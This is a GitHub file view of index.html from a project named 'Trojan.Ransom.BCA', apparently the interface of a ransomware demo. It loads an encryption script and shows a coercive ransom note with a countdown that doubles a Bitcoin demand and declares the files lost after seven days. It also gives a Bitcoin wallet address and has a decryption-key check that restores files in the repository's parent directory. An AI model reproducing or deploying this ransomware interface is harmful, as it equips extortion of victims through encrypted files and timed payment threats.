-
Notifications
You must be signed in to change notification settings - Fork 2
/
index.html
141 lines (124 loc) · 6.09 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Trojan.Ransom.BCA</title>
<link rel="stylesheet" href="style.css">
<script src="encrypt.js"></script>
</head>
<body>
<header>
<h1>Trojan.Ransom.BCA</h1>
</header>
<div id="center">
<script>
fs.readFile(__dirname + "/timer.json", "utf8", function (err, data) {
let timerData = {doublingTime: 0, finalTime: 0, price: 0};
if (err) {
timerData.doublingTime = (new Date).getTime() + 1000 * 60 * 3;
timerData.finalTime = (new Date).getTime() + 1000 * 60 * 60 * 24 * 7;
timerData.price = 300;
fs.writeFile(__dirname + "/timer.json", JSON.stringify(timerData), (err) => {if (err) throw err});
} else {
timerData = require(__dirname + "/timer.json");
console.log("." + __dirname + "/timer.json");
}
const counter = setInterval(timer, 1000);
function timer() {
document.getElementById("sendBitcoin").innerHTML = `Send $${timerData.price} worth of bitcoin to this address:`;
let doubleCount = Math.ceil((timerData.doublingTime - (new Date).getTime()) / 1000);
let finalCount = Math.ceil((timerData.finalTime - (new Date).getTime()) / 1000);
let seconds = [doubleCount % 60, finalCount % 60];
let minutes = [Math.floor((doubleCount / 60) % 60), Math.floor((finalCount / 60 % 60))];
let hours = [Math.floor((doubleCount / 60 / 60) % 24), Math.floor((finalCount / 60 / 60) % 24)];
let days = [Math.floor(doubleCount / 60 / 60 / 24), Math.floor(finalCount / 60 / 60 / 24)];
minutes.forEach((i) => {i %= 60});
hours.forEach((i) => {i %= 60});
if (finalCount < 0) {
document.getElementById("finalTimer").innerHTML = "FILES LOST";
clearInterval(counter);
return;
} else if (doubleCount < 0) {
timerData.price = 600;
document.getElementById("doublingTimer").innerHTML = "DOUBLED PRICE";
count = timerData.finalTime - (new Date).getTime();
document.getElementById("finalTimer").innerHTML = ("00" + days[1]).slice(-2) + ":" +
("00" + hours[1]).slice(-2) + ":" +
("00" + minutes[1]).slice(-2) + ":" +
("00" + seconds[1]).slice(-2);
} else {
document.getElementById("doublingTimer").innerHTML = ("00" + days[0]).slice(-2) + ":" +
("00" + hours[0]).slice(-2) + ":" +
("00" + minutes[0]).slice(-2) + ":" +
("00" + seconds[0]).slice(-2);
document.getElementById("finalTimer").innerHTML = ("00" + days[1]).slice(-2) + ":" +
("00" + hours[1]).slice(-2) + ":" +
("00" + minutes[1]).slice(-2) + ":" +
("00" + seconds[1]).slice(-2);
}
fs.writeFile(__dirname + "/timer.json", JSON.stringify(timerData), (err) => {if (err) throw err});
}
});
</script>
<aside id='left-bar'>
<img src="GreenLock.png"><br>
<div class="timer">
<div style="padding-top: 10px;">Doubling time:</div>
<div id='doublingTimer'></div>
<div style="padding-top: 10px;">Lost forever:</div>
<div id='finalTimer'></div>
</div>
</aside>
<article id='info'>
<h2>What happened to my computer?</h2>
<p>Your important files have been encrypted. You did it to yourself.</p>
<p>Your documents, photos, videos, databases and other files in the parent directory of this repository are no
longer acessible because they have been encrypted. Maybe you are busy looking for a way to recover your
files, but do not waste your time. Nobody can recover your files without our decryption service.</p>
<h2>Can I recover my files?</h2>
<p>Sure. We (almost) guarantee that you can recover all your files safely and easily. But you don't have that
much time. If you want your files back, you need to pay.</p>
<p>You only have 3 minutes to submit the payment. After that the price will be doubled.</p>
<p>Also, if you don't pay in 7 days--well, we'll still be waiting. :)</p>
<h2>How do I pay?</h2>
<p>For security reasons, we only accept payments in Bitcoin. Buying and transferring Bitcoin is simple and easy!</p>
<p>Just use any exchange or a local Bitcoin ATM to transfer fiat currency to Bitcoin.</p>
<p>Afterwards, use a wallet interface to send Bitcoin from your wallet to our wallet address. We'll be waiting! :)</p>
<h2>Contact us</h2>
<p>If you need our assistance in recovering your files, you're out of luck.</p>
<p>We do not care!</p>
<p>There are likely thousands of other people who are able to pay that will generate us money.</p>
</article>
</div>
<script>
function checkKey() {
let input = document.getElementById("inputKey").value;
fs.readFile(__dirname + "/key", "utf8", function (err, data) {
if (err) throw err;
else {
if (input === data) {
search(parentDir, 1);
document.getElementById("response").innerHTML = "Decrypted files.";
} else {
document.getElementById("response").innerHTML = "lol wrong key";
}
}
});
}
</script>
<footer>
<img src="BitcoinAcceptedHere.png">
<div id="payInput">
<div id="sendBitcoin"></div>
<div style="border: 2px solid lime;">1LZwY34Qdbja6BiqK6PS5SmpMXiPhDTMcY</div>
</div>
<div id="keyInput">
Enter key here:<br>
<input type="text" id="inputKey">
<button onclick="checkKey()">Decrypt</button>
<br>
<div id="response"></div>
</div>
</footer>
</body>
</html>